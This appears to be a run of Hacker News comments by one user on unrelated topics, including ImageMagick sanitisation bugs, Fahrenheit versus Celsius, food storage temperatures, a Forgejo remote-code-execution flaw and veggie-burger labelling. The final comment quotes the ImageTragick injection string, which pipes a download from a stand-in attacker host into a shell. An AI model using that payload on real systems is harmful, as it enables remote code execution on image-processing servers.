Many of the imagemagick bugs (in fact, most imagemagick bugs I remember as a former CTF player) are a logic bugs, where external program was invoked with improper sanitisation. Rewriting the code into a memory safe language is not a panacea and would not help.
That's a very good point. I've had moderately good success with even not very smart LLMs 'fixing' things that would otherwise accept arbitrary user generated text input, to run things through a thorough sanitization pipeline, the actual code for a sanitizer is not very complex at all.
Is it really better for day to day life? I am certain that it only appears so because you're used to it. I think for day to day life they're both roughly equivalent.
Of course, for me Celsius is more natural and intuitive, but again - that's because I'm used to it.
You can basically put a "%" after a fahrenheit temperature and read it as "percentage of a really hot day" and you'll get a pretty good idea what it feels like outside.
It's pretty well calibrated as a 0-100 scale for human temperature perception.
I moved from a cold climate to a tropical climate and let me assure you there's no human universal understanding of what's comfortably hot or cold, definitely not to the point of putting a percentage on it. I can walk around in a T-shirt and shorts at 17C (62f) while locals will be wrapping up in scarves and talking about how freezing it is. Meanwhile they'll be fairly comfortable at 35C (95f), at least if the humidity isn't high, and I'll be stuck in with the AC blasting.
So in other words Fahrenheit is a western centric measurement (or at least, temperature climate centric), while Celsius is universal.
The subjective experience doesn’t really matter because many places in the US will experience a 100 degree F range over an entire year. So it’s not the “comfortable range” but the actual range you’ll get in many parts of the US (whether you like it or not).
Right, but "room temperature" is pretty universal everywhere because we are going with the "average human" rather than "outliers exist and maybe feel differently"
No it's not. Room temperature in tropical countries is often 26-30C.
I work in the food industry and this whole "room temperature" thing is a major bugbear for me actually because when so much food dates markings are designed around a room temperature of ~22C, it's a big health and safety issue for people (and shops, warehouses, restaurants) who don't know that and happily store the goods up to the date marking at 30C. Deciding that room temperature ~=22C and basing worldwide food safety on that is absolutely Western centric.
Obviously people here are not stupid and don't store meat etc. past when it's gone bad. But I've often bought e.g. oils from suppliers and it's clear that it's on the edge of rancidity even though it's got a year+ to go on the date because it's been stored at "room temperature".
The US has the widest range of temperatures of any country. Locations can vary by >50°C in a 24 hour period. Extreme temperatures are familiar to Americans and their society is well-adapted to it.
Calling Fahrenheit "western centric" is nonsensical. Every other country has a narrower temperature range that fits within the US temperature range.
It doesn't map nearly as well for those of us who regularly have temperatures under -17C/0F in the winter. For me Celsius maps a LOT better to the temperatures I actually deal with year round. -17C is, accounting for wind chill, an average-ish winter day, that I'd consider pretty comfortable at this time of the year, assuminv appropriate clothing.
You can do the same thing with celsius if you live in a country with a different temperature "calendar".
I'm used to the idea that 0C is what splits the year between cold season and warm season. Obviously people from California will see it differently, for example.
So where I live it is like this:
30 or more - hot
15..30 warm
0..15 chilly
-15..0 calendar winter
-30..-15 real winter
..-30 - freezing, kinds younger than 12 don't go to school
It's just how some Americans justify this particular measurement system.
As you said: it's what you're used to. I know 100F is a very warm day, but if someone said it was 50F I wouldn't intrinsically know how warm or cold that is. My brain works in Celsius, so someone saying its 20C I understand instantly.
Similarly length in US football fields - I don't know what that is, but it's second nature to someone who did grow up using them as a measurement.
In home environment: no, because Windows Defender is pretty good now. Some people install other antimalware solutions, but there's no great reason to do it.
In enterprise environment: definitely, for both compliance, management and actual security reasons.
Maybe they actually do know their audience, and HN crowd is just... not that audience? I am pretty sure most people have no idea what's wrong with Norton, and the name just sounds vaguely like cybersecurity.
>So if you don't create new repos from mystery meat template repos, you should be ok.
You should be OK, but if attacker takes over your user (or any user in your forgejo instance) they can execute code on the host server - as you said yourself. In other words, it allows them to achieve remote code execution, so it's a RCE.
They could, and this is definitely a RCE (a Remote Code Execution) vulnerability. GP confusion stems from the fact, that you (the forgejo user) must execute this attack on "your" instance. But of course the problem is that forgejo user can, in fact, be malicious, and use this vulnerability to escalate their priviliges from user to server.
It can't be done without authenticating first, but there's nothing about RCE that says that it must be sent from unauthenticated connection.
You overthink this. Participating in HN is in no way like democratic voting. And sometimes it is my (or yours) comment that is the problem.
Let's not pretend that 90% of HN comments are world-changing. Maybe you are different, but a lot of my would-be comments are knee-jerk reactions that won't actually bring anything substantial to the discussion. Often in political comment chains. Yes, I feel I'm right, but it's still probably not worth posting. I really think that sometimes stopping before posting is better for everyone involved.
I also have well thought comments, where I share my thoughts on things I'm an expert in. I do post them. But a lot of the comments is not really that valuable.
>comments I spent literal hours on[2]
It may make you feel better that I saw both of your posts before (I may spend too much time on HN). They are good, though a bit verbose - maybe this intimidates people. But in this case I agree with GP - if I was spending literal hours responding to comments here I should definitely stop myself.
That was not the issue pointed by GP. They noted that the comparison was between two companies, a whole industry.
>That’s a weird comparaison between one or two brand and "an industry".
In other words, Impossible and Beyond are not the only companies in meat replacement space. They are probably the largest, but comparing them to the whole industry makes no sense.
What is a burger? If it looks like a burger and tastes like a burger I'm fine with calling it a burger. Nobody complains about halloumi burgers. Why is "coconut milk" OK, but "soy milk" is not? Blood sausage has nothing similar with the regular sausage. Hey, there are people who put pineapple on dough and call it "pizza"[1]. I agree that industries should not be able to intentionally mislead people, but informing customers was not the primary motivation behind those laws - protecting existing monopolies was.
Requiring pork, beef, etc to come from the actual animal sounds completely reasonable to me, and although I do like vegetarian products that try to taste like them, they should also be easily identifiable as not being the actual meat.
But burger, sausage and nugget are just about the shape. Restricting that only to meat is silly. Veggie burgers have been around for multiple decades. There's absolutely nothing misleading about that.
Also consider the many products that are something-flavoured (often fruit, but also other things) without containing the actual thing, yet clearly marketed with the thing they don't contain. Or fake chocolate. Pizza containing mostly fake cheese. Is that not far more misleading?
It may be perfectly clear to you. For me (a non-native speaker) reading the first verse required a significant focus and I still didn't get what the author meant (only the general vibes).
Famously, ImageTragick was just "fill 'url(https://example.com"; curl http://attacker.com | sh ")'"
reply